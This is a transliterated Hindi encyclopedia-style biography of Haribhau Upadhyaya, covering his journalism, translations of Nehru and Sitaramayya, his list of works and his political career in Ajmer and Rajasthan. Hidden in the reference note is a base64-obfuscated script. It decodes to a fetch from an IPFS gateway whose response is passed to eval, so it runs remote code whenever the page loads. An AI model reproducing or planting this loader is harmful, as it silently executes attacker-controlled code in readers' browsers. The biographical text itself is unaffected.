हरिभाऊ उपाध्याय
haribhaoo upadhyay
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| poora nam | haribhaoo upadhyay |
| janm | 24 march, 1892 |
| janm bhoomi | bhauanrosa gaanv, ujjain, madhy pradesh |
| mrityu | 25 agast, 1972 |
| karm bhoomi | bharat |
| karm-kshetr | hindi sahity tatha rashtraseva |
| mukhy rachanaean | 'bapoo ke ashram mean', 'sarvoday ki buniyad', 'sadhana ke path par', 'vishv ki vibhootiyaan', 'priyadarshi ashok', 'hamara karttavy aur yugadharm' adi. |
| bhasha | hindi, sanskrit |
| prasiddhi | sahityakar |
| nagarikata | bharatiy |
| any janakari | haribhaoo ji ki hindi sahity ko vishesh den unake dvara bahumooly pustakoan ka roopaantaran hai. kee maulik rachanaoan ke atirikt unhoanne javaharalal neharoo ki 'meri kahani' aur pattabhi sitaramaiya dvara likhit 'kaangres ka itihas' ka hindi mean anuvad kiya. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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haribhaoo upadhyay (aangrezi: Haribhau Upadhyaya ; janm- 24 march, 1892, ujjain, madhy pradesh; mrityu- 25 agast, 1972) bharat ke prasiddh sahityakar tatha rashtrasevi the. unaki hindi sahity ko vishesh den unake dvara bahumooly pustakoan ka roopaantaran hai. kee maulik rachanaoan ke atirikt unhoanne javaharalal neharoo ki 'meri kahani' aur pattabhi sitaramaiya dvara likhit 'kaangres ka itihas' ka hindi mean anuvad kiya. haribhaoo ji ki anek pustakean aj hindi sahity jagat ko prapt ho chuki haian. mahatma gaandhi se prabhavit hokar haribhaoo upadhyay rashtriy andolan mean kood p de the. purani ajamer riyasat mean unhean kee bar jel jana p da. svatantrata prapti ke bad ve ajamer ke mukhyamantri nirvachit hue the.
janm
haribhaoo upadhyay ka janm 24 march, 1892 ko madhy pradesh mean ujjain zile ke bhauanrosa namak gaanv mean hua tha. vidyarthi jivan se hi inake man mean sahity ke prati chetana jagrat ho gee thi. sanskrit ke natakoan tatha aangrezi ke prasiddh upanyasoan ke adhyayan ke bad ye upanyas lekhan ki agrasar hue.
patrakarita jagat mean padarpan
haribhaoo upadhyay ne hindi seva se sarvajanik jivan arambh kiya aur pahale pahal 'audumbar' masik patr ke prakashan dvara hindi patrakarita jagat mean pardapan kiya. sabase pahale san 1911 ee. mean ve 'audumbar' ke sampadak bane. padhate-padhate hi inhoanne isake sampadan ka kary bhi arambh kiya.
mahavir prasad dvivedi ka sannidhy
'audumbar' mean anek vidvanoan ke vividh vishayoan se sambaddh pahali bar lekhamala nikali, jisase hindi bhasha ki svabhavik pragati huee. isaka shrey haribhaoo ke utsah aur lagan ko hi hai. san 1915 ee. mean haribhaoo upadhyay mahavir prasad dvivedi ke sannidhy mean aye. haribhaoo ji svayan likhate haian ki- "audumbar ki sevaoan ne mujhe achary dvivedi ji ki seva mean pahuanchaya." dvivedi ji ke sath 'sarasvati' mean kary karane ke pashchath haribhaoo upadhyay ne 'pratap', 'hindi navajivan' (san 1921) aur 'prabha' ke sampadan mean yogadan diya aur svayan 'malav mayoor' (san 1922) namak patr nikalane ki yojana banayi; kiantu yah patr adhik din nahian chal saka.[1]
hindi sahity ki seva
haribhaoo upadhyay ki hindi sahity ko vishesh den unake dvara bahumooly pustakoan ka roopaantaran hai. kee maulik rachanaoan ke atirikt unhoanne javaharalal neharoo ki 'meri kahani' aur pattabhi sitaramaiya dvara likhit 'kaangres ka itihas' ka hindi mean anuvad kiya. haribhaoo ji ka prayas hamean bharatendu kal ki yad dilata hai, jab pray: sabhi hindi lekhak bangala se hindi mean anuvad karake sahity ki abhivriddhi karate the. anuvad karane mean bhi unhoanne is bat ka sada dhyan rakha ki pustak ki bhasha lekhak ki bhasha aur usake vyaktitv ke anuroop ho. anuvad padhane se yah anubhav nahian hota ki anuvad padh rahe haian. yahi anubhav hota hai ki mano svayan mool lekhak ki hi vani aur vicharadhara aviral roop se usi mool strot se bah rahi hai. is prakar haribhaoo ji ne apane sathi jananayakoan ke granthoan ka anuvad karake hindi sahity ko vyapakata pradan ki.
pramukh rachanaean
haribhaoo upadhyay ki anek pustakean aj hindi sahity jagat ko prapt ho chuki haian. unake nam is prakar haian-
- 'bapoo ke ashram mean'
- 'svatantrata ki or'
- 'sarvoday ki buniyad'
- 'shreyarthi jamanalal ji'
- 'sadhana ke path par'
- 'bhagavat dharm'
- 'manan'
- 'vishv ki vibhootiyaan'
- 'puny smaran'
- 'priyadarshi ashok'
- 'hiansa ka mukabala kaise karean'
- 'doorvadal' (kavita sangrah)
- 'svami ji ka balidan'
- 'hamara karttavy aur yugadharm'
bhasha-shaili
in sabhi rachanaoan se hindi sahity nishchit hi samriddh hua hai. haribhaoo ji ki rachanaean bhav, bhasha aur shaili ki drishti se b di akarshak haian. inamean ras hai, madhurata aur ujjvalata hai. inamean saty aur ahiansa ki shubhrata hai, dharm ki samanvayabuddhi hai aur lekhani ki satat sadhana aur prerana hai.
rajanitik jivan
mahatma gaandhi se prabhavit hokar haribhaoo upadhyay 'bharatiy rashtriy andolan' mean kood p de the. purani ajamer riyasat mean inhean kee bar jel jana p da. svatantrata prapti ke bad ye ajamer ke mukhyamantri nirvachit hue the. haribhaoo ji hriday se ye atyant komal the, kiantu siddhaantoan par koee samajhauta nahian karate the. rajasthan ki sab riyasatoan ko milakar rajasthan rajy bana aur isake kee varshoan bad mohanalal sukha diya mukhyamantri bane the. unhoanne atyant agrahapoorvak haribhaoo upadhyay ko pahale vitt phir shikshamantri banaya tha. bahut dinoan tak ye is pad par rahe, kiantu svasthy thik n rahane ke karan aantat: tyagapatr de diya. haribhaoo upadhyay kee varshoan tak rajasthan ki 'shasakiy sahity akadami' ke adhyaksh bhi rahe. unhoanne 'mahila shiksha sadan', hatooandi (ajamer) tatha 'sasta sahity mandal' ki sthapana ki thi.
nidhan
haribhaoo upadhyay ka nidhan 25 agast, 1972 ko hua.
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tika tippani aur sandarbh
- ↑ hindi sahity kosh, bhag-2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhirendr varma (pradhan sampadak) |prishth sankhya: 673 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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